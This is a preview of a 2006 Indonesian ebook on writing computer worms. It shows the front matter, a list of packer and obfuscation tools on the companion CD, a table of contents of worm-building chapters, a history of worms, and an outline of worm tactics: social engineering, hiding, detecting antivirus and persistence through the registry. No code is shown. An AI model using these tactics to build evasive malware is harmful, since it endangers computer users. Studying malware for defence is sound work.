297

Computer Worm 1 secret of underground coding

Embed Size (px)

DESCRIPTION

menjelaskan bagaimana cara kerja dan pembuatan worm komputer

Citation preview

Page 1: Computer Worm 1 secret of underground coding
Page 2: Computer Worm 1 secret of underground coding
Page 3: Computer Worm 1 secret of underground coding

Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.

ISBN 979-1090-01-7

Cetakan pertama : Juli 2006

Computer Worm 1 - Secret of Underground CodingHak Cipta © 2006 pada penulis

Ketentuan pidana pasal 72 UU No. 19 tahun 2002

1. Barang siapa dengan sengaja dan tanpa hak melakukan kegiatan sebagaimana dimaksud dalam pasal 2 ayat (1) atau pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp. 1.000.000 (satu juta rupiah) atau pidana penjara paling lama 7 (tujuh) tahun dan/atau denda paling banyak Rp. 5.000.000.000.00 (lima miliar rupiah).

2. Barang siapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1), dipi-dana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp. 500.000.000,00 (lima ratus juta rupiah)

Publisher JasakomWeb Site http://www.jasakom.comEmail [email protected]

Toko Online www.TokoMahal.com

Page 4: Computer Worm 1 secret of underground coding

Computer Worm 1Secret of Underground Coding

Versi eBooktanpa CD pendukung

Page 5: Computer Worm 1 secret of underground coding

Buku ini disertai dengan sebuah CD pendukung yang berisi film tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:

DEMOWAREVM Ware 55.9 MB

Virtual PC 17.1 MB

DeepFreeze 2.06 MB

ShadowUser 7.80 MB

ASPack 297 KB

UltraEdit 1.69 MB

FREEWAREA Squared HijackFree 497 KB

CXUPX 419 KB

Darmal’s Packer 730 KB

DOS 7.10 765 KB

DropFile Script Generator 21.5 KB

HHD Hex Editor 2.07 MB

Icon Sucker Std 658 KB

KillBox 67,5 KB

Petite 117 KB

Process Explorer 1.24 MB

Registrar Lite 2.28 MB

Resource Hacker 1.32 MB

UPX 1.25 163 KB

UPX Mutanter 38.9 KB

UPX Scrambler 17.5 KB

UPX Windows GUI 199 KB

I S I C D P E N D U K U N G

Page 6: Computer Worm 1 secret of underground coding

Jasakomv

Com

pute

r W

orm

1 -

Secr

et o

f Und

ergr

ound

Cod

ingKATA PENGANTAR

Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula sehingga penulis dapat menyelesaikan penulisan buku: Computer Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum mendapatkan adanya buku yang khusus membahas mengenai worm komputer baik dengan mengunjungi ke toko-toko buku secara langsung maupun berkunjung secara online. Sedangkan hal ini sangat penting sekali, terlebih pada saat buku ini disusun dimana perkembangan dan tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cende-rung semakin mengganas.

Ironisnya banyak sekali pengguna komputer yang tidak mengerti per-bedaan antara worm dan virus, sehingga worm seringkali diasumsikan sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa worm merupakan suatu sub-class dari virus komputer, memang suatu kesalahan umum sehingga penulispun terkadang menggunakan istilah ini , lagipula penulis tidak berminat menjelaskan arti worm komputer (yang akan berbuntut dengan penjelasan panjang lebar tentang per-bedaannya dengan virus komputer) setiap kali penulis menyebutkan istilah worm komputer , penulis berpendapat momen inilah yang paling tepat untuk menjelaskannya kepada pembaca semua.

Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa sesungguhnya worm komputer itu, apa perbedaanya dengan virus komputer, dan bagaimana worm tersebut diprogram.

Buku ini tidak hanya membahas tentang worm komputer saja, tetapi juga memuat beberapa materi standar yang harus diketahui dalam rangka membuat atau memerangi suatu worm komputer. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi seba-

I S I C D P E N D U K U N G

Page 7: Computer Worm 1 secret of underground coding

Jasakomvi

Computer W

orm 1 - Secret of Underground Coding

liknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca, selain itu penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.

Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 – 98, dan alumni POLNES angkatan 98 – 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thank’s buat S’to yang sudah banyak membantu dalam proses pembentukan buku.

Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan pada buku ini, maka dengan tidak merendahkan diri, penulis meng-harapkan kritik dan saran yang bersifat membangun, untuk itu silah-kan kirim e-mail Anda ke alamat e-mail penulis di: [email protected], dengan subjek: worm komputer (untuk menghindari spam mail, penulis membuat agar e-mail dengan subjek lain akan segera dihapus secara otomatis).

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain

untuk memeranginya."

Page 8: Computer Worm 1 secret of underground coding

Jasakomvii

Com

pute

r W

orm

1 -

Secr

et o

f Und

ergr

ound

Cod

ingDaftar Isi

KATA PENGANTAR v

BAB 1 PENDAHULUAN 1

BAB 2 MENGENAL WORM 52.1 ASAL MULA WORM KOMPUTER 6

2.2 PERBEDAAN WORM DAN VIRUS 8

2.3 KEMAMPUAN DASAR WORM 9

2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI 9

2.3.2 KEMAMPUAN REKAYASA SOSIAL 9

2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI 10

2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI 10

2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI 10

2.4 SIKLUS HIDUP WORM 11

2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN ) 11

2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR ) 11

2.4.3 TRIGERRING PHASE ( FASE AKTIF ) 11

2.4.4 EXECUTION PHASE ( FASE EKSEKUSI ) 11

2.5 PERKEMBANGAN WORM NON LOKAL 12

2.5.1 CHRISTMA EXEC 12

2.5.2 MORRIS 12

2.5.3 HAPPY99 13

2.5.4 MELISA 13

2.5.5 PRETTY PARK 14

2.5.6 EXPLORE ZIP 14

2.5.7 BUBBLE BOY 15

2.5.8 LOVE LETTER 16

2.5.9 HYBRIS 16

Page 9: Computer Worm 1 secret of underground coding

Jasakomviii

Computer W

orm 1 - Secret of Underground Coding

2.5.10 ANNA KOURNIKOVA 17

2.5.11 SADMIND 17

2.5.12 CODE RED 17

2.5.13 NIMDA 18

2.5.14 BADTRANS.B 19

2.5.15 KLEZ 20

2.5.16 SLAMMER 21

2.5.17 BAGLE 21

2.5.18 NETSKY 22

2.6 PERKEMBANGAN WORM LOKAL 22

2.6.1 I-WORM PERKASA 22

2.6.2 PESIN 23

2.6.3 TABARU 23

2.6.4 KANGEN 24

2.6.5 KUMIS 24

2.6.6 DECOIL 25

2.6.7 RONTOKBRO 25

2.6.8 NOBRON 25

2.6.9 RUNITIS 26

2.6.10 BLUEFANTASY 26

2.6.11 ROMDIL 27

2.6.12 MYBRO 27

2.6.13 IRCBOT.AQF 28

2.6.14 LIGHTMOON 28

BAB 3 REGISTRY WINDOWS 293.1 STRUKTUR REGISTRY 30

3.1.1 HIVE 31

3.1.2 VALUE 31

3.2 REGISTRY EDITOR (REGEDIT) 32

3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR 32

3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR 33

Page 10: Computer Worm 1 secret of underground coding

Jasakomix

Com

pute

r W

orm

1 -

Secr

et o

f Und

ergr

ound

Cod

ing3.3 OPERASI DASAR REGISTRY EDITOR 33

3.3.1 BACKUP & RESTORE REGISTRY 34

3.3.2 EXPORT & IMPORT DATA REGISTRY 35

3.3.3 MANIPULASI KEY & VALUE 35

3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA 37

3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) 38

3.3.6 MEMANFAATKAN FILE REG 39

BAB 4 MENGENAL VISUAL BASIC 6.0 414.1 LINGKUNGAN KERJA VISUAL BASIC 42

4.1.1 MENUBAR 43

4.1.2 TOOLBAR 43

4.1.3 PROJECT EXPLORER 43

4.1.4 PROPERTIES WINDOWS 44

4.1.5 FORM LAYOUT WINDOW 44

4.1.6 TOOLBOX 44

4.1.7 FORM WINDOW 45

4.1.8 CODE WINDOW 45

4.2 PEMBUATAN APLIKASI 46

4.2.1 MEMBUAT PROYEK 46

4.2.2 MENYISIPKAN CONTROL 47

4.2.3 SETTING PROPERTIES 47

4.2.4 MENGETIK KODE PROGRAM 47

4.2.5 MENYIMPAN PROGRAM 48

4.2.6 MENJALANKAN PROGRAM 48

4.2.7 KOMPILASI PROGRAM MENJADI EXE 49

BAB 5 OBJECT FORM DAN CONTROL 515.1 FORM 53

5.2 KONTROL 54

5.2.1 PICTUREBOX 55

5.2.2 LABEL 56

5.2.3 TEXTBOX 57

Page 11: Computer Worm 1 secret of underground coding

Jasakomx

Computer W

orm 1 - Secret of Underground Coding

5.2.4 FRAME 58

5.2.5 COMMANDBUTTON 58

5.2.6 CHECKBOX 59

5.2.7 OPTIONBUTTON 60

5.2.8 COMBOBOX 61

5.2.9 LISTBOX 62

5.2.10 HSCROLLBAR 63

5.2.11 VSCROLLBAR 64

5.2.12 TIMER 65

5.2.13 DRIVELISTBOX 66

5.2.14 DIRLISTBOX 66

5.2.15 FILELISTBOX 67

5.2.16 SHAPE 68

5.2.17 LINE 69

5.2.18 IMAGE 69

5.2.19 DATA 70

5.2.20 OLE 71

BAB 6 KODE PROGRAM 736.1 VARIABEL 74

6.1.1 IMPLICIT 75

6.1.2 EXPLICIT 76

6.2 STATEMENTS AND EXPRESSIONS 77

6.3 OPERATOR 78

6.3.1 OPERATOR PENUGASAN (ASSIGNMENT) 78

6.3.2 OPERATOR ARITMATIKA 78

6.3.3 OPERATOR KOMPARASI 79

6.3.4 OPERATOR LOGIKA 80

6.4 PERCABANGAN (BRANCHING) 81

6.4.1 PERCABANGAN IF/THEN/ELSE 81

6.4.2 PERCABANGAN SELECT CASE 82

6.4.3 PERCABANGAN GOSUB/RETURN 83

6.4.4 PERCABANGAN GOTO 83

6.4.5 PERCABANGAN ON ERROR 84

Page 12: Computer Worm 1 secret of underground coding

Jasakomxi

Com

pute

r W

orm

1 -

Secr

et o

f Und

ergr

ound

Cod

ing6.5 PENGULANGAN (LOOPING) 85

6.5.1 DO WHILE/LOOP 85

6.5.2 DO UNTIL/LOOP 85

6.5.3 DO/LOOP WHILE 85

6.5.4 DO/LOOP UNTIL 86

6.5.5 FOR/NEXT 86

6.6 PENGHENTIAN (TERMINATING) 87

6.6.1 END 87

6.6.2 EXIT 87

6.6.3 STOP 88

6.7 ARRAY 88

6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL 88

6.7.2 DEKLARASI DENGAN KEYWORD TO 89

6.8 PENANGANAN FILE 90

6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE 90

6.8.2 MEMBUAT SALINAN / MENG-COPY FILE 91

6.8.3 MENGHAPUS FILE 91

6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE 92

6.8.5 MENGETAHUI BESAR FILE 93

6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE 94

6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF 94

6.8.8 MENGATUR DRIVE AKTIF 95

6.8.9 MENGATUR DIREKTORI AKTIF 95

6.8.10 MEMBUAT DIREKTORI BARU 96

6.8.11 MENGHAPUS DIREKTORI 96

6.8.12 MENGUBAH NAMA DIREKTORI 97

6.9 OPERASI FILE TEXT 97

6.9.1 MEMBUAT FILE TEXT 97

6.9.2 MEMBACA FILE TEXT 98

6.10 OPERASI FILE BINARY 99

6.10.1 MEMBUAT FILE BINARY 99

6.10.2 MEMBACA FILE BINARY 100

6.11 FILE SYSTEM OBJECT (FSO) 101

Page 13: Computer Worm 1 secret of underground coding

Jasakomxii

Computer W

orm 1 - Secret of Underground Coding

BAB 7 WORM WSar.1 1037.1 WORM DASAR 1 105

7..2 ALGORITMA 106

7.3 PEMROGRAMAN 106

BAB 8 WORM WSar.2 1178.1 ALGORITMA 117

8.2 PEMROGRAMAN 118

BAB 9 WORM WSar.3 1259.1 ALGORITMA 125

9.2 PEMROGRAMAN 126

BAB 10 WORM WSar.4 13510.1 ALGORITMA 135

10.2 PEMROGRAMAN 136

BAB 11 WORM WSar.5 15111.1 ALGORITMA 152

11.2 PEMROGRAMAN 153

BAB 12 WORM WSar.6 16512.1 ALGORITMA 166

12.2 PEMROGRAMAN 166

BAB 13 WORM WSar.7 17913.1 COMPARISON METHODE 180

13.2 ALGORITMA 191

13.3 PEMROGRAMAN 191

Page 14: Computer Worm 1 secret of underground coding

Jasakomxiii

Com

pute

r W

orm

1 -

Secr

et o

f Und

ergr

ound

Cod

ingBAB 14 WORM WSar.8 207

14.1 WATCHER METHODE 208

14.2 ENCRYPTION METHODE 209

14.3 POLYMORPHIC METHODE 212

14.4 ALGORITMA 214

14.5 PEMROGRAMAN 215

BAB 15 WORM WSar.9 24315.1 DROP FILE METHODE 244

15.2 ALGORITMA 250

15.3 PEMROGRAMAN 251

Page 15: Computer Worm 1 secret of underground coding
Page 16: Computer Worm 1 secret of underground coding

1Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

1. P

enda

hulu

an

BAB 1PENDAHULUAN

Seiring dengan pesatnya kemajuan teknologi informasi khususnya dibidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para

cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code). Suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse.

Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktifitas yang cukup signifikan di awal era millenium, pada tahun 2003 peng-guna komputer di Indonesia disibukkan oleh sebuah worm lokal yang diperkirakan berhasil menginfeksi ribuan komputer di Indonesia.

Page 17: Computer Worm 1 secret of underground coding

2Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 1. P

endahuluan

Worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com.

Bahkan pada saat buku ini ditulis, aktifitas worm di Indonesia semakin meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin beragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data.

Media penyebaran pun semakin canggih mulai dari disket, USB flash disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non mate-riil.

Penulis berharap buku ini dapat menambah pengetahuan bagi pengge-mar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi sebaliknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontri-busi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini.

Buku ini akan menunjukan bagaimana seorang worm writer membuat suatu worm komputer, dan bagaimana memerangi worm tersebut dengan cara yang nyaris sama. Secara umum buku ini akan membi-carakan tujuh hal bidang utama, yaitu:

1. Mengenal worm komputer2. Menggunakan registry pada Microsoft Windows3. Menggunakan Visual Basic 6.04. Pemrograman worm komputer5. Membuat program removal6. Pemrograman virus komputer7. Kompresi dengan UPX

Page 18: Computer Worm 1 secret of underground coding

3Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

1. P

enda

hulu

an

Buku ini juga disertai sebuah CD yang berisi video tutorial untuk menambah pemahaman Anda dalam mempelajari buku ini, kemudian kumpulan source code yang digunakan sebagai latihan dan beberapa program-program pendukung.

Perlu Anda ketahui bahwa seluruh software tersebut berlisensi free-ware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan biaya apapun untuk software tersebut kecuali biaya CD dan ongkos pembuatannya, penulis tak lebih hanya men-download-kannya untuk Anda.

Membahas pembuatan suatu worm memerlukan pengertian akan tang-gung jawab moral yang besar, karena worm komputer dapat menim-bulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain

untuk memeranginya."

Page 19: Computer Worm 1 secret of underground coding
Page 20: Computer Worm 1 secret of underground coding

5Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

BAB 2MENGENAL WORM

Kenapa bab ini ada?

Seorang administrator sistem bisa dengan cepat mengetahui apabila suatu worm yang sama menginfeksi sebuah sistem dengan melihat gejala yang ditimbulkan. Selain itu untuk membuat suatu program removal juga diperlukan pengetahuan tentang worm, dan pengetahuan tersebut bisa berupa teori, sejarah perkembangan atau catatan singkat tentang worm yang pernah ada.

Page 21: Computer Worm 1 secret of underground coding

6Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.1 ASAL MULA WORM KOMPUTER

Gagasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah

papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya.

Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu ber-tahan terhadap serangan program lawan lainnya.

Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan.

Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara.

Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampil-kan pesan "I’m creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain mencoba membuat program serupa, tetapi gagasan tersebut berang-sur-angsur hilang dalam beberapa bulan kemudian.

Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus komputer dipublikasikan.

Istilah worm ini ternyata diilhami oleh suatu program "tapeworm" (cacing pita) dalam sebuah novel fiksi ilmiah karangan John Brun-ner yang berjudul "The Shockwave Rider", yang mengisahkan suatu

Page 22: Computer Worm 1 secret of underground coding

7Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer.

Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan komputer yang secara otomatis juga menghilangkan kendali pemerintah terha-dap warga negaranya.

Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya.

Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumu-man. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire".

Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan komputer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya.

Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digu-nakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi).

Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi tersebut kembali membuat komputer crash. Pada akhirnya dibuat semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu penelitian terhadap worm tersebut ditutup untuk umum.

Page 23: Computer Worm 1 secret of underground coding

8Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.2 PERBEDAAN WORM DAN VIRUSIstilah "virus" selalu digunakan sebagai suatu acuan umum untuk setiap malcode (program atau script yang dibuat dengan tujuan mem-bahayakan atau merugikan sebuah system komputer), seperti worm, trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer, berikut adalah beberapa jenis malcode tersebut:

1. Computer virus: merujuk pada program yang memiliki kemam-puan untuk ber- reproduksi, menulari program lain dan menjadi-kan file-file program tertular sebagai file infector.

2. Computer worm: merujuk pada program independen yang memiliki kemampuan untuk ber-reproduksi, menulari system komputer dan walaupun mampu untuk menulari program lain namun tidak bertujuan untuk menjadikan file tertular tersebut sebagai suatu file infector.

3. Trojan horse: merujuk pada program independen yang tampaknya berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif dan merugikan.

4. Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program-program yang dapat memba-hayakan sebuah system komputer. Contoh dari program jenis ini adalah tool pembuat virus dan program yang dibuat untuk membantu proses cracking atau hacking.

Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan.

Worm tidak menginfeksi file program lain dengan tujuan menjadikan file terinfeksi tersebut sebagai file infector. Worm mampu bekerja

Page 24: Computer Worm 1 secret of underground coding

9Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

tanpa interaksi user, bisa merusak sebuah data secara langsung atau menurunkan kinerja system dengan "mengikat" sumber daya system komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda dengan virus yang melakukan infeksi dengan 'menumpang’ pada file program lain, menunggu interaksi user dan menjadikan file terinfeksi sebagai file infector.

2.3 KEMAMPUAN DASAR WORMWorm umumnya memiliki kemampuan-kemampuan dasar berikut ini:

2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSIYaitu kemampuan yang mutlak dimiliki suatu worm untuk membuat salinan dirinya, sekaligus mendistribusikan salinan tersebut pada system yang lain baik melalui media penyimpanan seperti disket, USB flash disk maupun melalui suatu jaringan komputer. Walaupun memiliki rutin untuk menginfeksi program lain namun tidak bertujuan menjadikan file program terinfeksi menjadi suatu file infector.

Pada awalnya worm dibuat dengan aksi memenuhi harddisk dan jaringan, namun seiring dengan perkembangan teknologi informasi hal ini akhirnya banyak ditinggalkan worm writer karena malah akan mengurangi kemampuannya untuk menyembunyikan diri, yang akan berakibat worm tersebut cepat "terendus" oleh advanced user atau bahkan perusahaan-perusahaan antivirus.

2.3.2 KEMAMPUAN REKAYASA SOSIALKarena file infector worm akan aktif saat user mengeksekusinya maka social engineering atau rekayasa sosial menjadi hal yang sangat penting bagi suatu worm.

Page 25: Computer Worm 1 secret of underground coding

10Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

Layaknya seorang penjual yang mati-matian merayu calon pembeli maka worm akan 'merias’ programnya dengan icon dan nama yang sangat memikat agar user mengeksekusinya. Suatu worm bisa saja membuat salinan dirinya dengan nama file 'porno’ dan dengan gambar icon yang sangat tidak mencurigakan.

2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRIMenjaga tetap tidak diketahui adalah penting untuk worm jaman seka-rang agar tetap bertahan pada suatu system. Hal ini biasanya dilaku-kan dengan cara tidak menampilkan sesuatu dari worm baik berupa suara maupun tampilan visual, menyembunyikan program worm dari taskbar bahkan dari jendela tasklist.

2.3.4 KEMAMPUAN MENDAPATKAN INFORMASISuatu worm harus bisa mendapatkan informasi yang ia butuhkan, seperti jenis sistem operasi yang digunakan, direktori root, direktori System Windows bahkan worm umumnya memeriksa suatu system apakah telah terpasang antivirus atau tidak, lebih jauh lagi worm akan berusaha mengenali jenis antivirus yang terpasang.

2.3.5 KEMAMPUAN MENGADAKAN MANIPULASIUmumnya manipulasi dilakukan oleh worm untuk bertahan hidup,. Worm cenderung mengadakan manipulasi pada registry agar worm bisa tetap aktif saat komputer dihidupkan, bahkan memanipulasi reg-istry milik suatu antivirus agar tidak mengganggu worm tersebut. Tapi worm bisa saja mengadakan manipulasi yang terlepas dari tujuan tadi, seperti mengubah volume label pada harddisk atau disket.

Page 26: Computer Worm 1 secret of underground coding

11Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

2. M

enge

nal W

orm

2.4 SIKLUS HIDUP WORMSiklus hidup worm secara umum, melalui 4 tahap:

2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN )Pada fase ini worm akan membuat salinan dirinya ke suatu tempat, baik pada media penyimpanan fix disk (tetap) atau removable disk (dapat dipindahkan), adapun penyebarannya dapat dilakukan pada system lokal, jaringan atau internet.

2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR )Pada fase ini worm tidaklah aktif. Worm akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dan sebagainya. Tidak semua worm melalui fase ini.

2.4.3 TRIGERRING PHASE ( FASE AKTIF )Di fase ini worm tersebut akan aktif dan menetap pada memory, hal ini dipicu oleh metode launcher yang digunakan worm tersebut.

2.4.4 EXECUTION PHASE ( FASE EKSEKUSI )Pada fase inilah worm yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan dan sebagainya.

Page 27: Computer Worm 1 secret of underground coding

12Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. M

engenal Worm

2.5 PERKEMBANGAN WORM NON LOKALBerikut ini beberapa catatan singkat tentang worm yang pernah ada dan membuat banyak kerugian para pengguna komputer.

2.5.1 CHRISTMA EXECPada tanggal 9 Desember 1987, worm "Christma Exec" menjadi worm pertama yang mampu menyebar dengan menggunakan media e-mail diantara komputer mainframe IBM. Worm ini juga menjadi contoh penggunaan social engineering, dengan mengajak user untuk mengek-sekusi worm tersebut dengan dalih akan menampilkan gambar pohon natal.

Worm tersebut memang menghasilkan gambar pohon natal pada layar monitor (digambar dengan menggunakan bahasa script yang disebut Rexx), tetapi worm tersebut juga mengirimkan salinan dirinya dengan menggunakan nama user kepada setiap nama yang ada pada daftar e-mail penerima, sehingga penerima percaya bahwa e-mail yang dikirimkan tersebut adalah benar dari user yang dikenal dan bersedia membukanya.

2.5.2 MORRISPada tanggal 2 Nopember 1988, worm Morris yang terkenal pada waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam. Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr. Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan hukuman pada tahun 1990.

Kesimpulan yang diperoleh adalah motivasi dalam menulis worm tersebut tidak diketahui dan worm tidak diprogram untuk sengaja melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebab-kan oleh kecelakaan dan kesalahan pemrograman.

Dibulan Oktober 1989, muncul sebuah worm bernama WANK (Worms Against Nuclear Killers) yang tampaknya belajar dari worm Morris dan melakukan penularan pada komputer VMS pada DECNet. Worm ini

Page 28: Computer Worm 1 secret of underground coding

